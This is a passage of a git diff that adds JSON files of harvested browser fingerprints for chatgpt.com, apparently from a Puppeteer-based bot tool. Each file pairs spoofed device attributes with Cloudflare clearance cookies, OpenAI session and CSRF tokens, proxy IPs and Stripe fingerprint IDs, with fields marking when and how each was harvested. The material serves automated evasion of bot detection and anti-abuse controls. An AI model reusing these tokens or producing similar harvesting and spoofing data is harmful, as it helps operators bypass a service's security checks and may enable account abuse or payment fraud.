"aid=7c485a49-1ba4-496d-923c-35e2e6804675&rum=0&expire=1773441383880&logs=1&id=e52e7097-4206-4806-b906-c38591a2c78b&created=1773440483880", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "PrCaQ8RFxthV5O9C2FOmrE6XEY47GcXa2DjD8Nziu0I-1773440484.5289357-1.0.1.1-94i4aEz4Qr5XVxu5FSuEYcZ9HPeDuzFwJcT21W47rb0", + "domain": ".chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "kvH0rOaJ26091aNvY718kh2AbjloVEsbJKLhYGcXqVM-1773440486-1.0.1.1-wRXN2.HFad8khsSXVmUo98YRVrOYXVJHsEnqWbQwVYS8Klkk8m1OfzYctFRbB8nXu3yjcadW4225Shv9vqwPaXXeH3AfzhcV6.Q6jvgs72M", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "0H28vzvP5FJafnkHxisyrUFUAuuJgZWNP2Avc1nVuBR", + "domain": "chatgpt.com" + }, + { + "name": "oai-did", + "value": "60c971bb-d53e-4814-acf1-af1a899c8c13", + "domain": ".chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "73427647bb5c483aed0ebe377e5bd11130d27437b577558056c5f11167275e26%7Cbb1180919a2e6186a5ffb6da2fc465c8b53f9577fc15f44367aa9f4e52e41a28", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "119.28.150.155", + "proxy_sid": "8e80bcc9", + "harvested_at": "2026-03-13T22:21:30.688Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "22d02a5aa66b3e6d1bf605a3df5129a8" +} \ No newline at end of file diff --git a/fingerprints/KR_90f113f4_1773499653094_2.json b/fingerprints/KR_90f113f4_1773499653094_2.json new file mode 100644 index 0000000..731cd14 --- /dev/null +++ b/fingerprints/KR_90f113f4_1773499653094_2.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "en-US", + "platform": "Win32", + "screen_size": "1920w_1080h_24d_1r", + "timezone_offset": "-7", + "timezone_name": "America/Los_Angeles", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + "cpu_cores": 20, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (Google)", + "webgl_renderer": "ANGLE (Google, Vulkan 1.3.0 (SwiftShader Device (Subzero) (0x0000C0DE)), SwiftShader driver)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "31a245d28b6c5eaa6e63701832b125f3", + "oai_did": "bb756069-869c-4779-99a7-4eeb1fe116ee", + "cf_clearance": "4GvgfiIae18A8WyadIfkGftArZM1XhAFA_pwmcBZvBY-1773499645-1.2.1.1-q9ffZ3mB5.bonmNLWkZBtFiw_HLXCIJ6oc.xz84GitwT5Ve0jJVMZWKLr6O.QqyyFTfD9BODiT9dtRHD2R5w2nq.pN9kPpKVvICFM2aEnwWzAD2zzt9BXOHzwPDv8jZEFTpZTPP8wM6A93nnlwS_NF_1TSGf6.FF2TC2gkK7C3oJ6p_gYowMj8Wr.OF2X3_hQGf_5EhydWum8MJ1G28A_4IriAPWvqI2PaQEeQQ9xEw", + "csrf_token": "b87abbd589cdcee213674db6f39e868499f3c0cba85b705e063c0b00b08acd24%7C5af640321878585969018ca66e531db30e800a33cad52eef66ed7542dd3243ff", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773499646545,\"i_b\":\"3aj7ZGGwTyO6oAv7MOB/jzpI1ZWp9Arxof8p5aRODnE\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptXT-8kCjzKIomLFQo2ZFsMAM889aoy0r30vg-KXELMlXOTPsfpkNASQBPsEgKceGBh3D9l8WRXqrNOKrIg4uTCKdTUXhojzS_bwQEXY56XkFEwAx_jIlWmW2N3srm_Q2Awfg5af4c4tb8-qJO3ep0Fhn2O9Pp1EsVleIu8Z8ww2FlSB8EQWG9_cmgKNMdK7EGPupThN_HOaogHUExOptCTFv2iCByGwFeOwrlMzhr5bBIAI", + "domain": ".chatgpt.com" + }, + { + "name": "oai-did", + "value": "bb756069-869c-4779-99a7-4eeb1fe116ee", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "04dTofELUVCxHqRn2Xc6Eb6eZgy5T2Dtr4KFGM1F5V", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "1z4lH3sShOC1ILz5iWyMny_sGrv2AWIOlGoRVOHSD1k-1773499646.2496564-1.0.1.1-oiYujYmUDFQc_ZYfmGg0ubg6KvVyzxGiqWoqEAVBsMVBElACzSYD.B.rjM6ILX4RZ329mii8QDnJQnOws5Tzf9TZDEHhMzJaZvua.Oi4or8GO4XIAPDmllTUfssqeqOS", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "4GvgfiIae18A8WyadIfkGftArZM1XhAFA_pwmcBZvBY-1773499645-1.2.1.1-q9ffZ3mB5.bonmNLWkZBtFiw_HLXCIJ6oc.xz84GitwT5Ve0jJVMZWKLr6O.QqyyFTfD9BODiT9dtRHD2R5w2nq.pN9kPpKVvICFM2aEnwWzAD2zzt9BXOHzwPDv8jZEFTpZTPP8wM6A93nnlwS_NF_1TSGf6.FF2TC2gkK7C3oJ6p_gYowMj8Wr.OF2X3_hQGf_5EhydWum8MJ1G28A_4IriAPWvqI2PaQEeQQ9xEw", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=30a8490f-8729-4ff1-9e27-4987cfc9dfce&rum=2&id=67458d1c-66fd-4ab1-8b87-013bd97a4e75&created=1773499645028&expire=1773500545187&logs=1", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "Q7lCCFjs.Ym91OJa3Obb58S8s7Ki1h_LBAfXL8t3.JU-1773499644.3753514-1.0.1.1-v6aJl8_0yPtCXROoi51B.JL_o38JbRQXY5qt_.O27XE", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "ON_YOUR_MIND%20%7C%20HOW_CAN_I_HELP", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web-canary", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "b87abbd589cdcee213674db6f39e868499f3c0cba85b705e063c0b00b08acd24%7C5af640321878585969018ca66e531db30e800a33cad52eef66ed7542dd3243ff", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "104.194.83.216", + "proxy_sid": "90f113f4", + "harvested_at": "2026-03-14T14:47:33.093Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "df240d0e1e3ff2f26ece6226b4fa9606" +} \ No newline at end of file diff --git a/fingerprints/KR_a9e8afbc_1773499888656_10.json b/fingerprints/KR_a9e8afbc_1773499888656_10.json new file mode 100644 index 0000000..428f667 --- /dev/null +++ b/fingerprints/KR_a9e8afbc_1773499888656_10.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "en-US", + "platform": "Win32", + "screen_size": "1366w_768h_24d_1r", + "timezone_offset": "-7", + "timezone_name": "America/Los_Angeles", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", + "cpu_cores": 8, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (NVIDIA)", + "webgl_renderer": "ANGLE (NVIDIA, NVIDIA GeForce GTX 1060 6GB (0x00001C03) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "1f3cd76a361c6f0f2f1bc0aab71f8342", + "oai_did": "31c7bb2f-db3f-4674-8ce1-531ca5e2a0ec", + "cf_clearance": "Oci2t5xEGnIRwFxDKmm.QH.5cneniWFcnPOI6Pdn._A-1773499881-1.2.1.1-UmEz3jwj3wePRZtqydtv4otDTzL9sPh_mpeaZvZGjK38kK4FicpqJBNcz0izGibo_oqhf4YZcRr8N30s.Q7dRZ2Cj8krXJz4eQTbfqL0CFQfpL9UWrkieTrQv7NpIM4jEX_O0RrIZxeqZbRn2WaLmso3WAav6c6I0EssEB4SU0MOHDk_fN..WdD.zQxyB9wB6JePp3U9O5nOzjAXp3rmlxYA1B6tUVtjhuChb221Y5Y", + "csrf_token": "2b855c9397cdae5748f8e7e0200a8ffcffb73b549943ea69208e7d89e2469a23%7C2f3e88c1bd446b788521f4bcb7ef6c055bcad4cf98391f81bffdbb893d9f7eb9", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773499882126,\"i_b\":\"RiTTu39X32QqKayfGDDMJWKzMlJW0o2oNd5Eg34EEHE\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptXXqcGKh6XBXAYmaenjQmAh8bRkMdyq2ZyKi98ksgOjBQZg3E0o35A3eRtKq3Z3qlypciPFs6B14pOl-UpDMEnU-S1_yt_EEvSj0FzfmTp3ZFhoJ-w4WqY1WAgdAsVoN5_A_tvCrEiyHAHFPFw91svU940tBNulcCP6OP77Wqt_5HUlLp2GhT0MNtjO2bYvT7Zn-Fch48MFNdAJkUqwiJN0T65u_tyd9prSbNrhNh1khYqk", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "WHAT_ARE_YOU_WORKING_ON%20%7C%20HOW_CAN_I_HELP", + "domain": "chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=cfad1449-9351-4cb9-8554-27e393eaecdc&rum=0&expire=1773500781169&logs=1&id=c399b90d-86f4-457d-887f-dc9bf9c89656&created=1773499881169", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "oJ4VPDoMQ.hk09bVZ3UvmkdwwKAvK8z9TxdSOcY5Im8-1773499882.5683074-1.0.1.1-uj65SuxYTKpJ4CIJ8Sy9RfftD476BCJ1UvP6gHJlAuM", + "domain": ".chatgpt.com" + }, + { + "name": "oai-did", + "value": "31c7bb2f-db3f-4674-8ce1-531ca5e2a0ec", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "04dTofELUVCxHqRn2Xc6Eb6eZgy5T2ECuqAEKG6q8F", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "BCyGv5a7mkypX90qE9NKvVuK7RfsXQ05lrcmnUYKvxE-1773499882.1937227-1.0.1.1-pSs.HwvdB.yBenh7jAof05GLgLnpiZvKY5kHW7AEMyaY0.F8DNrg3nuuWWyp6kC5PO1Do4Cmlgf0J3P2LOOq3KqctNWFBZEnEl3XzAzHdmm26ccCGXQ2IhW4FZqp2yzq", + "domain": ".chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "Oci2t5xEGnIRwFxDKmm.QH.5cneniWFcnPOI6Pdn._A-1773499881-1.2.1.1-UmEz3jwj3wePRZtqydtv4otDTzL9sPh_mpeaZvZGjK38kK4FicpqJBNcz0izGibo_oqhf4YZcRr8N30s.Q7dRZ2Cj8krXJz4eQTbfqL0CFQfpL9UWrkieTrQv7NpIM4jEX_O0RrIZxeqZbRn2WaLmso3WAav6c6I0EssEB4SU0MOHDk_fN..WdD.zQxyB9wB6JePp3U9O5nOzjAXp3rmlxYA1B6tUVtjhuChb221Y5Y", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "2b855c9397cdae5748f8e7e0200a8ffcffb73b549943ea69208e7d89e2469a23%7C2f3e88c1bd446b788521f4bcb7ef6c055bcad4cf98391f81bffdbb893d9f7eb9", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "104.194.83.216", + "proxy_sid": "a9e8afbc", + "harvested_at": "2026-03-14T14:51:28.655Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "da1b70c6b4ce58234de4041324f5e429" +} \ No newline at end of file diff --git a/fingerprints/KR_b2e7dd4c_1773499753754_6.json b/fingerprints/KR_b2e7dd4c_1773499753754_6.json new file mode 100644 index 0000000..11f2889 --- /dev/null +++ b/fingerprints/KR_b2e7dd4c_1773499753754_6.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": true, + "language": "en-US", + "platform": "Win32", + "screen_size": "1920w_1080h_24d_1r", + "timezone_offset": "-7", + "timezone_name": "America/Los_Angeles", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36", + "cpu_cores": 20, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (NVIDIA)", + "webgl_renderer": "ANGLE (NVIDIA, NVIDIA GeForce GTX 1080 Ti (0x00001B06) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "d56cbc8c5016e78464ebd0dab8897b71", + "oai_did": "d6f49d75-c8c6-4fa7-9d9f-21be93856517", + "cf_clearance": "bFjTPHFe9qrH2HMN9FNygAEbmtRLfWYdTnh8Z9jtx5U-1773499746-1.2.1.1-LdNaBGZK19Z5IvNxShA9MV1dR1ejsNv6_d0JBW1oarHHw8SdhW8r6MLlIe972RCsJUdz2Uoj3myQAU4QGBX5ff6e0zo5DOWnCbxfZSmP.IZPrAqFazbbs1ZuBqFtF09wUv9xWPNoovdMvt5uyZ376yx5HHLNaIzRTpt..6dKkElZog3gz41clfyRvrYR8nwPyNX1bDPChqdDp_1WKxLItvfVm0lkkKRhuCgGELcJBG4", + "csrf_token": "4551e6b3e940a32e9e31d4c1b39848c6752615db3a589eb2a8b6e1d9220f6734%7C8ef6921632c8acb0c82e2739a02c567308b06740916b5e3d78aa621d12fe76f7", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773499747135,\"i_b\":\"08iP3D1uh1nccq8JNmDsi22WnNn9sJP/iYEy/mHjU34\",\"i_e\":{\"enable_itp_optimization\":13}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptXVjyB15wHS9R7NVf7BMr0Hjo2xhhMkmv9WyB7hbB93a8df2JcY_vXlNreD46GW-vL4P4jCvNYyUsqMRsnrgEx9GVNg6lO_qckfRyUP8DJG_Oj7mpnIaREY1oSeldkN2XOdqrYmKyZfuCo20jc84QMzhbvitUhsGFDXDC3QybT3YJIV8qhHyn-1QETvPt9E5apQ0ddLLESunv5s4-jiwUL7Fa5kmzE9qRI5MVnfWAP8VDoc", + "domain": ".chatgpt.com" + }, + { + "name": "oai-did", + "value": "d6f49d75-c8c6-4fa7-9d9f-21be93856517", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "04dTofELUVCxHqRn2Xc6Eb6eZgy5T2EBjtFeo3pf6j", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "C219wSjjyJlsQirIkBE_n_A8D4ulJ.68kMhUvVOvsWg-1773499747.275645-1.0.1.1-ejw4vu8.ZdRnkb7jv3PE85L8YwecjzIZ3qppkjvRpgYdfD1aiUEmHt0iFdmwRNdAcNdNF4Trjl6M4xXjdeYDtp4ytxiJaukWCpeleXaAcNjtZrViM7UtwttTFi25qnlX", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "ON_YOUR_MIND%20%7C%20ON_YOUR_MIND", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "GS5BGXTPuO2voKR.gaoVrj8Zn.4FJOX8P07gN0mV1Bw-1773499745.0071082-1.0.1.1-m_fLfLVfnkXChzC8GH7dYsyh0sHFU7Mz.bGy2doTUpA", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=0669683a-0d14-49b0-bee6-9c26c0fc3de2&rum=0&expire=1773500646192&logs=1&id=f631569a-af81-4987-afd3-557394f8a778&created=1773499746192", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "bFjTPHFe9qrH2HMN9FNygAEbmtRLfWYdTnh8Z9jtx5U-1773499746-1.2.1.1-LdNaBGZK19Z5IvNxShA9MV1dR1ejsNv6_d0JBW1oarHHw8SdhW8r6MLlIe972RCsJUdz2Uoj3myQAU4QGBX5ff6e0zo5DOWnCbxfZSmP.IZPrAqFazbbs1ZuBqFtF09wUv9xWPNoovdMvt5uyZ376yx5HHLNaIzRTpt..6dKkElZog3gz41clfyRvrYR8nwPyNX1bDPChqdDp_1WKxLItvfVm0lkkKRhuCgGELcJBG4", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "4551e6b3e940a32e9e31d4c1b39848c6752615db3a589eb2a8b6e1d9220f6734%7C8ef6921632c8acb0c82e2739a02c567308b06740916b5e3d78aa621d12fe76f7", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "104.194.83.216", + "proxy_sid": "b2e7dd4c", + "harvested_at": "2026-03-14T14:49:13.753Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "3abfa3a93ba9af7b994e786966c953c1" +} \ No newline at end of file diff --git a/fingerprints/KR_b6f785eb_1773440403432_6.json b/fingerprints/KR_b6f785eb_1773440403432_6.json new file mode 100644 index 0000000..6aa9845 --- /dev/null +++ b/fingerprints/KR_b6f785eb_1773440403432_6.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "ko-KR", + "platform": "Win32", + "screen_size": "1920w_1080h_24d_1r", + "timezone_offset": "9", + "timezone_name": "Asia/Seoul", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + "cpu_cores": 4, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (NVIDIA)", + "webgl_renderer": "ANGLE (NVIDIA, NVIDIA GeForce GTX 750 Ti (0x00001380) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "b1daae7b8d9d3301025557e4ce5a387b", + "oai_did": "ab81093b-93d5-4bc0-a4ba-08ab92c8186b", + "cf_clearance": "GXPnObc04GmJRb1m4cV2Fw9gXH3kdxhFAIHpRwbpVo0-1773440397-1.2.1.1-dCGtDdp3.pBxLP794._TS32H9syIpEEXCcPxwdLJGrMC6bx2jWS9Ot5fKRvTTB.pN3_8fE95mXvHE1NZd4IYthqhNGzb1HxlMqA34rt72hHwZ015whlklLpqfj9xEx4tJ24SCIu43mVpjtMU82ZWJCDiCCtzKCbNQjNb8GI39fRrSlKTkNEhb337KOnIAp5_McWlTyjuQ1o95DLT4J53ieY70CFtNwHzmY1YRsbLizU", + "csrf_token": "a464c40135ebd86848d3e7bb70d4265e6ec6f7dd72f521a3f23f8482d3a7e59f%7C8aa941f22e899165b1c3c6261fa24db2aaa51d8fe1e303031390e0ed8cfc6868", + "cookies": [ + { + "name": "oai-sc", + "value": "0gAAAAABptI2OCjqGOgyXWI3q5JExm8IihWHarVHnWoE1y1KlGUCn7reKJ4nNMDaM3WbvHunXMwFpNQK2NPtbUb1nVsB8vPgb4jcTawuL51V-kkQP4DwVgMmWQsogdrVK_4saiN-AXscyymYd6MvwVkhOZCjnQYwzEh93n4p_um1wX1M3FhNlvsHIAJHODaiy5EFln5WXjbmhY-hp4XVpNP86oPdvfQl2y1aN1W9Rqwt71qw2lNp4FBU", + "domain": ".chatgpt.com" + }, + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773440396544,\"i_b\":\"0ljNQz4PAb+1ymm7ANLi0zCXE589hTEE58JLxtYbS7Y\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-hm", + "value": "WHAT_ARE_YOU_WORKING_ON%20%7C%20ON_YOUR_MIND", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "Y6G0OLNUZsMo_hhjg3pQYNv1c5xgTh32bPdy12yQHX0-1773440397.2793348-1.0.1.1-4ZR_6HCCXP_vzW.4yeuhIGI4n1f9mXZq3Nc4yAjMNmU", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=e2d5716c-5b33-49ff-af2d-5483acc1076c&rum=0&expire=1773441296096&logs=1&id=671244e6-6a52-40a3-b6f2-5ef0fe5e9d5e&created=1773440396096", + "domain": "chatgpt.com" + }, + { + "name": "oai-did", + "value": "ab81093b-93d5-4bc0-a4ba-08ab92c8186b", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "0H28vzvP5FJafnkHxisyrUFUAuuJgZWN8UAQPnYazuR", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "OKk6E_t8bqzju.xEg5LL9jntGcX59D8QJfjFAhKJT5Y-1773440397.7768776-1.0.1.1-5iCCImvUAe8ZdjFTpq4g93O_SF4IKP3fKpZv.n49N03R3dMoFLbp2G07UcVrb8wqgPrCphW62dDQ6deJfexpmKJ0B5Z9ahcPzkQM0l9CP3EHa0pl0Bwfc3IHpzj85K12", + "domain": ".chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "GXPnObc04GmJRb1m4cV2Fw9gXH3kdxhFAIHpRwbpVo0-1773440397-1.2.1.1-dCGtDdp3.pBxLP794._TS32H9syIpEEXCcPxwdLJGrMC6bx2jWS9Ot5fKRvTTB.pN3_8fE95mXvHE1NZd4IYthqhNGzb1HxlMqA34rt72hHwZ015whlklLpqfj9xEx4tJ24SCIu43mVpjtMU82ZWJCDiCCtzKCbNQjNb8GI39fRrSlKTkNEhb337KOnIAp5_McWlTyjuQ1o95DLT4J53ieY70CFtNwHzmY1YRsbLizU", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "a464c40135ebd86848d3e7bb70d4265e6ec6f7dd72f521a3f23f8482d3a7e59f%7C8aa941f22e899165b1c3c6261fa24db2aaa51d8fe1e303031390e0ed8cfc6868", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "119.28.150.155", + "proxy_sid": "b6f785eb", + "harvested_at": "2026-03-13T22:20:03.431Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "39fd54939d78e9d2396b2a78e589eca9" +} \ No newline at end of file diff --git a/fingerprints/KR_d389aa3c_1773440306190_2.json b/fingerprints/KR_d389aa3c_1773440306190_2.json new file mode 100644 index 0000000..d99f189 --- /dev/null +++ b/fingerprints/KR_d389aa3c_1773440306190_2.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": false, + "language": "en-US", + "platform": "Win32", + "screen_size": "1280w_720h_24d_1.5r", + "timezone_offset": "9", + "timezone_name": "Asia/Seoul", + "touch_support": false, + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36", + "cpu_cores": 4, + "memory_gb": 8, + "plugins": "PDF Viewer, Chrome PDF Viewer, Chromium PDF Viewer, Microsoft Edge PDF Viewer, WebKit built-in PDF", + "webgl_vendor": "Google Inc. (Intel)", + "webgl_renderer": "ANGLE (Intel, Intel(R) HD Graphics 620 (0x00005916) Direct3D11 vs_5_0 ps_5_0, D3D11)", + "fonts_bits": "01101000001110001111011010010000011001101100111111111111100", + "canvas_hash": "904d5dc28fbb83cbcee9372c0a33723a", + "oai_did": "5a0b4faf-0856-4074-bcc3-a5c1f9ce251b", + "cf_clearance": "LJncvd3tgVsJmy_XoGW4mT758FUSWBgtr5OPLB1YitI-1773440300-1.2.1.1-3CDUvQHeh3m0DIChNXJ_XPJD8i6Gk0jG1BN3YPwou2UrThW7BeibOaPS8hTMHsvYWIYZkoIu1nTrLP3i1g5i.H4Y5mSkQ_bhJpInNsflZfu3H4yWs3JvYSdd_sTPAzAG66ftbcb8KeJ2GbWNnmVLc2Np5_dl6p435p.eTpRfwdMuu9Amv1t5UXz_AaghMw126k6WkYhqAV0jFyDMUAiQS2ZECbmOrfOBQI8yomkd3Nk", + "csrf_token": "1b88aba9d860f8fc59ee807e70dd986f3fa5f7369bf3747ccae75d14028e7e08%7Ce4148fd7fecc4dbaa72bc3498c090470f3007bda841c1aad19b45be81b956e70", + "cookies": [ + { + "name": "g_state", + "value": "{\"i_l\":0,\"i_ll\":1773440299005,\"i_b\":\"cKMCNO6BYnbnm+DI9SXZdTv+mqU0soM4XDBIOOdBI2A\",\"i_e\":{\"enable_itp_optimization\":0}}", + "domain": "chatgpt.com" + }, + { + "name": "oai-sc", + "value": "0gAAAAABptI0s8o8kxollCP_T9MJcdt_zcMPJA9ELYXsVBulinjFHqCV2jZPxpeoO2WTyKo4t23Oyd-HTrZ2_d2CQI2_MD40FMdes98w5fKZ05A3rYWyDoM01S47bMua42xXRukd4CJ2kGfj1ijkZGjQj9-G2qffJm8UM14eVXIyOfejdJGY8DAyO02gQi66QnzIey1ClzAl1IdvzsE_WjvRERzz-5WWqw_660uE6Dqbb9DUpepD7VdA", + "domain": ".chatgpt.com" + }, + { + "name": "oai-did", + "value": "5a0b4faf-0856-4074-bcc3-a5c1f9ce251b", + "domain": ".chatgpt.com" + }, + { + "name": "__cflb", + "value": "0H28vzvP5FJafnkHxisyrUFUAuuJgZWNDVAPL8dZKn3", + "domain": "chatgpt.com" + }, + { + "name": "__cf_bm", + "value": "n2mfdzsIB9V1wGw699WWBQ61lqtj9XfskvfpQXnRH6w-1773440300.2588944-1.0.1.1-eNGSQ42qxA0zv2iiOP0aI6Ws0eYLOZPKp8TcmE92ODMMJ3RAbyEesP63rReAG.vn3uk01HOmDyCkfuqf6ZK_Fb3eYSHBREf6mFW8ZaKVH6eEqdK3NkPMUJTraK9WLnAP", + "domain": ".chatgpt.com" + }, + { + "name": "__Secure-next-auth.callback-url", + "value": "https%3A%2F%2Fchatgpt.com", + "domain": "chatgpt.com" + }, + { + "name": "cf_clearance", + "value": "LJncvd3tgVsJmy_XoGW4mT758FUSWBgtr5OPLB1YitI-1773440300-1.2.1.1-3CDUvQHeh3m0DIChNXJ_XPJD8i6Gk0jG1BN3YPwou2UrThW7BeibOaPS8hTMHsvYWIYZkoIu1nTrLP3i1g5i.H4Y5mSkQ_bhJpInNsflZfu3H4yWs3JvYSdd_sTPAzAG66ftbcb8KeJ2GbWNnmVLc2Np5_dl6p435p.eTpRfwdMuu9Amv1t5UXz_AaghMw126k6WkYhqAV0jFyDMUAiQS2ZECbmOrfOBQI8yomkd3Nk", + "domain": ".chatgpt.com" + }, + { + "name": "_dd_s", + "value": "aid=818ecf78-057d-480b-9353-105ae291163e&rum=0&expire=1773441203558&logs=1&id=b8883bf2-c649-43e6-b7a7-003ccaab9618&created=1773440298572", + "domain": "chatgpt.com" + }, + { + "name": "_cfuvid", + "value": "4X6DMg8Nq6CBWhLFwKr_2g8Uq12TZKeSGNdL8La04is-1773440299.8531437-1.0.1.1-USlII8BBLOV1WmvSrJfowVr6gCvJosa7Pl0jRimmuGs", + "domain": ".chatgpt.com" + }, + { + "name": "oai-hm", + "value": "ON_YOUR_MIND%20%7C%20HOW_CAN_I_HELP", + "domain": "chatgpt.com" + }, + { + "name": "oai-chat-web-route", + "value": "web", + "domain": "chatgpt.com" + }, + { + "name": "__Host-next-auth.csrf-token", + "value": "1b88aba9d860f8fc59ee807e70dd986f3fa5f7369bf3747ccae75d14028e7e08%7Ce4148fd7fecc4dbaa72bc3498c090470f3007bda841c1aad19b45be81b956e70", + "domain": "chatgpt.com" + } + ], + "region": "KR", + "proxy_ip": "119.28.150.155", + "proxy_sid": "d389aa3c", + "harvested_at": "2026-03-13T22:18:26.189Z", + "source": "puppeteer-with-fingerprints", + "stripe_fingerprint_id": "83abf56dbc2e838892a4df9be33ba75e" +} \ No newline at end of file diff --git a/fingerprints/KR_d5bf22a9_1773440451146_8.json b/fingerprints/KR_d5bf22a9_1773440451146_8.json new file mode 100644 index 0000000..b1148ee --- /dev/null +++ b/fingerprints/KR_d5bf22a9_1773440451146_8.json @@ -0,0 +1,89 @@ +{ + "cookie_support": true, + "do_not_track": true, + "language": "ko-KR", + "platform": "Win32", + "screen_size": 